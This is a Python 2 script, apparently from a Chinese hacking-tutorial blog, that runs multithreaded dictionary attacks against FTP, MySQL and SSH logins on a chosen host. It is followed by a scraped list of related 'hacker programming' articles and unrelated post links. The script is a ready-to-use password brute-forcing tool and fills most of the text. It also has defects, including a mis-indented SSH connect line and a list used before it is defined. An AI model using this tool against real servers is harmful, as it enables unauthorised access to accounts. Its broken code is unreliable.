#coding:utf-8
from optparse import OptionParser
import time,re,sys,threading,Queue
import ftplib,socket,MySQLdb,paramiko

global host
queue = Queue.Queue()
#********************************************
#color
#********************************************
class bcolors:
    OKBLUE = '\033[94m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
#********************************************
#FTP爆破模块
#********************************************
class FtpBurp(threading.Thread):
    """docstring for ftp"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                ftp = ftplib.FTP()
                ftp.connect(host,21,timeout=10)
                ftp.login(user,pwd)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                ftp.quit()
            except ftplib.all_errors:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#MySql爆破模块
#********************************************
class MySql(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                conn = MySQLdb.connect(host=host, user=user,passwd=pwd,db='mysql',port=3306)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                if conn:
                    conn.close()
            except MySQLdb.Error, msg:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#SSH爆破模块
#********************************************
class SSH(threading.Thread):
    """docstring for SSH"""
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                 ssh.connect(host,22,user,pwd,timeout=5)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                ssh.close()
                exit()
            except Exception,e:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#可添加web后台爆破
#********************************************
usage = 'Usage: %prog [-t target] [-m method]'
parser = OptionParser(usage)
parser.add_option('-t', dest='target', help='host')
parser.add_option('-m', dest='method', help='ways')
parser.add_option('-u', dest='username', help='username')
parser.add_option('-U', dest='usernamedic', help='username')
parser.add_option('-P', dest='passworddic', help='password')
parser.add_option('-n', dest='threading', help='Thread')

(options, args) = parser.parse_args()

if options.target == None:
    parser.print_help()
    sys.exit(0)

if options.threading:
    n = int(options.threading)
else:
    n = 5
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', options.target):
    host = options.target
else :
    host = socket.gethostbyname(options.target)
print 'target: %s \n' % host
if     options.username :
    userlist[0] = options.username
    print 'username: %s' % options.username
elif options.usernamedic:
    userlist = [j.strip() for j in open(options.usernamedic)]
    print 'username_number: %d $\n' % len(userlist)
passlist = [j.strip() for j in open(options.passworddic)]
print 'password_number: %d $\n' % len(passlist)
if options.method == 'ftp':
    for i in range(n):
        m_ftp = FtpBurp(queue)
        m_ftp.setDaemon(True)
        m_ftp.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))
if options.method == 'mysql':
    for i in range(n):
        m_sql = MySql(queue)
        m_sql.setDaemon(True)
        m_sql.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))

if options.method == 'ssh':
    for i in range(n):
        m_ssh = SSH(queue)
        m_ssh.setDaemon(True)
        m_ssh.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))
queue.join()

python黑客编程之端口爆破的更多相关文章

  1. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

  2. 《Python黑客编程之极速入门》正式开课

    玄魂 玄魂工作室 今天 之前开启了一个<Python黑客编程>的系列,后来中断了,内容当时设置的比较宽,不太适合入门.现在将其拆分成两个系列<Python黑客编程之极速入门>和 ...

  3. Python黑客编程基础3网络数据监听和过滤

    网络数据监听和过滤 课程的实验环境如下: •      操作系统:kali Linux 2.0 •      编程工具:Wing IDE •      Python版本:2.7.9 •      涉及 ...

  4. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  5. 电子书推荐--《Python灰帽子》,python黑客编程

    点此在线阅读 <Python灰帽子>是由知名安全机构Immunity Inc的资深黑帽Justin Seitz主笔撰写的一本关于编程语言Python如何被广泛应用于黑客与逆向工程领域的书籍 ...

  6. Python黑客编程知识点整理

    Python转义字符 转义字符 意义 ASCII码值(十进制) \a 响铃(BEL) 007 \b 退格(BS) ,将当前位置移到前一列 008 \f 换页(FF),将当前位置移到下页开头 012 \ ...

  7. Python 黑客相关电子资源和书籍推荐

    原创 2017-06-03 玄魂工作室 玄魂工作室 继续上一次的Python编程入门的资源推荐,本次为大家推荐的是Python网络安全相关的资源和书籍. 在去年的双11送书的时候,其实送过几本Pyth ...

  8. python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术

    python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...

  9. Python 网络编程(一)

    Python 网络编程 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. ...

随机推荐

  1. 高性能JS笔记4——算法和流程控制

    一.循环 for.while.do while三种循环的性能都没有多大区别.foreach 的性能较其他三种差 . 既然循环没有多大区别,注意循环内的代码控制. 减少迭代次数. 减少迭代工作量. 推荐 ...

  2. Day Tips:Search CPU 100%

    Powershell:Set-SPEnterpriseSearchService -PerformanceLevel Reduced             Specifies the relativ ...

  3. 【转】HttpClient使用Post和Get提交参数

    package httpclient; import java.io.IOException; import java.net.URLEncoder; import org.apache.common ...

  4. SQLite Design and Concepts

    API 分为两大类 core API. 基本的SQL操作 extension API. 创建自定义的SQL操作. 基本数据结构 需要了解的组成部分有连接.statments.B树.pager. 为了写 ...

  5. XCode设置(怎么让代码收缩)

    有时候刚使用一台电脑 可能会没有代码收缩的功能. 在哪里设置呢?看图 打开xcode 的 偏好设置 找到textEditing 把Code folding勾选上 就可以了

  6. git将代码提交到远程分支(非主分支)

    一个仓库可以包含多个分支,有一个默认的主分支:master 若想提交代码至远程仓库的某个分支(非主分支) 先查看下本地分支以及远程分支:git branch -a 由本地分支(非主分支master)提 ...

  7. ADDM Reports bug:Significant virtual memory paging was detected on the host operating system

    查看ADDM(数据库版本为ORACLE 10.2.0.5.0)报告时,发现其中有个结论非常不靠谱:Significant virtual memory paging was detected on t ...

  8. [Linux 维护]收集centos系统性能指标

    #!/bin/bash # awk 'END{print}' get the last row iplist=$(cat ~/fanr/shell/Weekly/ip.list) for _IP in ...

  9. 带进度条的 jQuery 文件拖放上传插件

    jQuery File Uploader :jQuery File Uploader 是一个 jQuery 文件拖放上传插件 兼容性判断 下载:https://github.com/danielm/u ...

  10. 编写BinIoDemo.java的Java应用程序,程序完成的功能是:完成1.doc文件的复制,复制以后的文件的名称为自己的学号姓名.doc。

    package zuoye; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; ...